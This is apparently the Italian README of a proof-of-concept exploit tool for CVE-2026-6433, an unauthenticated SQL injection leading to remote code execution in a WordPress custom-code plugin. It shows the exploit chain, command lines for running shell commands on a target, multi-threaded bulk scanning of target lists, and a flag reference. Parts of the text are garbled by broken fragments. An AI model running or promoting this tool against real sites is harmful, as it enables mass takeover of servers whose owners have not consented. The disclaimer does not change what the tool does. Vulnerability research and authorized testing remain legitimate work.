
PoC per CVE-2026-6433: WordPress FlipperCode Custom CSS, JS & PHP (≤2.0.7) — da SQLi non autenticato a RCE. Libreria standard di Python 3; singolo target o scansione bulk multi-thread. Solo per test autorizzati e ricerca.
FlipperCode — Custom CSS, JS & PHP · SQL injection non autenticata → RCE (tramite eval())
Interessato: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · superficie del plugin WordPress tramite admin-ajax.php
flowchart TB
subgraph prep[" Preconditions "]
A["Target runs vulnerable plugin"]
B["admin-ajax reachable"]
end
subgraph chain[" Exploit chain "]
C["POST fc_ajax_call / wce_editor_inline_code"]
D["SQLi injects PHP payload"]
E["Proof file written under DOCUMENT_ROOT"]
F["Optional: fetch proof / run command output"]
G["Default: remote unlink cleanup"]
end
A --> C
B --> C
C --> D --> E --> F --> G
Su GitHub, badge, tabelle e diagrammi vengono renderizzati con un forte contrasto visivo. Questo documento è strutturato in modo da poter essere scorso rapidamente (badge + tabelle) o letto in profondità (sezioni successive).
pip install richiesto — solo libreria standard)Clona o scarica questa cartella, quindi:
# Help / all flags
python CVE-2026-6433.py --help
# PHP-only proof (writes a small proof file; good for locked-down shells)
python CVE-2026-6433.py https://target.example --php-only --no-cleanup
# Run an OS command and print captured output (if execution functions exist remotely)
python CVE-2026-6433.py https://target.example --command "id"
# Only attempt to delete the proof file (cleanup mode)
python CVE-2026-6433.py https://target.example --cleanup-only
Usa un file di testo con un URL base per riga. Le righe che iniziano con # e le righe vuote vengono ignorate.
python CVE-2026-6433.py --bulk targets.txt --threads 8
Esempio di targets.txt:
# Lab hosts — replace with authorized systems only
https://site-a.example
https://site-b.example
Note:
--bulk allo stesso tempo.min(threads, len(targets))).1 se un qualsiasi target bulk fallisce.FAIL: … e il processo termina con codice 1.[Bulk scan] riepilogano lo stato di avanzamento.[OK] o [FAIL] con una motivazione.--no-cleanup quando devi preservare le prove in un incarico autorizzato.| Ruolo | Credito |
|---|---|
| Scoperta originale | Dr. John Umoru — ClarenSec Limited |
| Harness bulk / multi-thread | github.com/murrez |
[!WARNING] Solo uso legale ed etico
Questa proof-of-concept esiste per finalità educative, ricerca difensiva e test di sicurezza autorizzati.
Eseguirla su sistemi senza esplicita autorizzazione scritta potrebbe violare le leggi sull'abuso informatico della tua giurisdizione.
Gli autori e i contributori non si assumono alcuna responsabilità per un uso improprio.
Struttura finale del README ottimizzata per la leggibilità: badge · tabelle · flowchart · flag espliciti.
| Elemento | Dettaglio |
|---|
| Vettore | SQLi non autenticata veicolata tramite le azioni AJAX del plugin |
| Impatto | Esecuzione remota di codice sull'host WordPress (payload scritto nella docroot, poi eseguito nel contesto PHP) |
| Script | CVE-2026-6433.py — solo stdlib (urllib, ssl, threading, concurrent.futures) |
| Modalità | URL singolo o file bulk con worker multi-thread |
| Scoperta | Dr. John Umoru, ClarenSec Limited |
| Bulk / threading | github.com/murrez |
| Flag | Significato |
|---|
target | URL base WordPress singolo (omettilo quando usi --bulk) |
--command CMD | Esegue un comando shell da remoto (usa shell_exec, exec, system, passthru o popen quando disponibili) |
--php-only | Scrive una prova PHP di metadati invece di affidarsi a --command |
--no-cleanup | Non eliminare il file di prova remoto dopo un'esecuzione riuscita |
--proof-name NAME | Nome del file remoto (predefinito: rce-proof.txt) |
--cleanup-only | Invia solo il payload di unlink e segnala se il file è stato rimosso |
--bulk FILE | Legge più target da FILE |
--threads N | Worker concorrenti per --bulk (predefinito: 5) |